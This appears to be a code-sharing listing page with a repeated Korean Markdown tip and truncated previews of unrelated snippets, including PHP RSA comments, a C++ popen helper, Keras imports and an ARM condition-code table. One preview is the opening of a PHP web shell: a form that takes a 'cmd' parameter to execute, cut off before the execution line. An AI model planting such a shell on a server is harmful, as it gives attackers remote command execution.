영어지만, 조금 더 상세하게 마크다운 사용법을 안내하고 있는
"Markdown Guide (https://www.markdownguide.org/)" 를 보시는 것을 추천합니다. ^^
아, 그리고 마크다운만으로 표현이 부족하다고 느끼신다면, HTML 태그를 활용하시는 것도 좋습니다.
| <?php | |
| // 비대칭 알고리듬인 RSA를 사용하여 문자열을 암호화하는 법. | |
| // 개인키 비밀번호는 암호화할 때는 필요없고 복호화할 때만 입력하면 되므로 | |
| // 서버에 저장할 필요 없이 그때그때 관리자가 입력하도록 해도 된다. | |
| // PHP 5.2 이상, openssl 모듈이 필요하다. | |
| // RSA 개인키, 공개키 조합을 생성한다. | |
| // 키 생성에는 시간이 많이 걸리므로, 한 번만 생성하여 저장해 두고 사용하면 된다. | |
| // 단, 비밀번호는 개인키를 사용할 때마다 필요하다. |
영어지만, 조금 더 상세하게 마크다운 사용법을 안내하고 있는
"Markdown Guide (https://www.markdownguide.org/)" 를 보시는 것을 추천합니다. ^^
아, 그리고 마크다운만으로 표현이 부족하다고 느끼신다면, HTML 태그를 활용하시는 것도 좋습니다.
| #include <iostream> | |
| #include <cstdarg> | |
| #include <string> | |
| #include <fstream> | |
| #include <memory> | |
| #include <cstdio> | |
| std::string exec(const char* cmd) { | |
| std::shared_ptr<FILE> pipe(popen(cmd, "r"), pclose); | |
| if (!pipe) return "ERROR"; |
| <?php | |
| function closestLowerHigherNr($array, $nr) { | |
| sort($array); | |
| $re_arr = array('lower'=>min(current($array), $nr), 'higher'=>max(end($array), $nr), 'closest'=>$nr); | |
| foreach($array AS $num){ | |
| if($nr > $num) $re_arr['lower'] = $num; | |
| else if($nr <= $num){ | |
| $re_arr['higher'] = $num; | |
| break; | |
| } |
| from __future__ import print_function | |
| import imageio | |
| from PIL import Image | |
| import numpy as np | |
| import keras | |
| from keras.layers import Input, Dense, Conv2D, MaxPooling2D, AveragePooling2D, ZeroPadding2D, Dropout, Flatten, Concatenate, Reshape, Activation | |
| from keras.models import Model | |
| from keras.regularizers import l2 | |
| from keras.optimizers import SGD |
| license: gpl-3.0 | |
| height: 1030 | |
| scrolling: yes |
| <html> | |
| <body> | |
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
| <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
| <input type="SUBMIT" value="Execute"> | |
| </form> | |
| <pre> | |
| <?php | |
| if(isset($_GET['cmd'])) | |
| { |
| meaning cmp A, B sign flags | |
| ------------------------------- ------- --------------- --------------- ------------------- | |
| equal eq A == B - Z == 1 | |
| not equal ne A != B - Z == 0 | |
| carry set cs,hs A >= B unsigned C == 1 | |
| carry clear cc,lo A < B unsigned C == 0 | |
| higher hi A > B unsigned C == 1 && Z == 0 | |
| lower or same ls A <= B unsigned !(C == 1 && Z == 0) |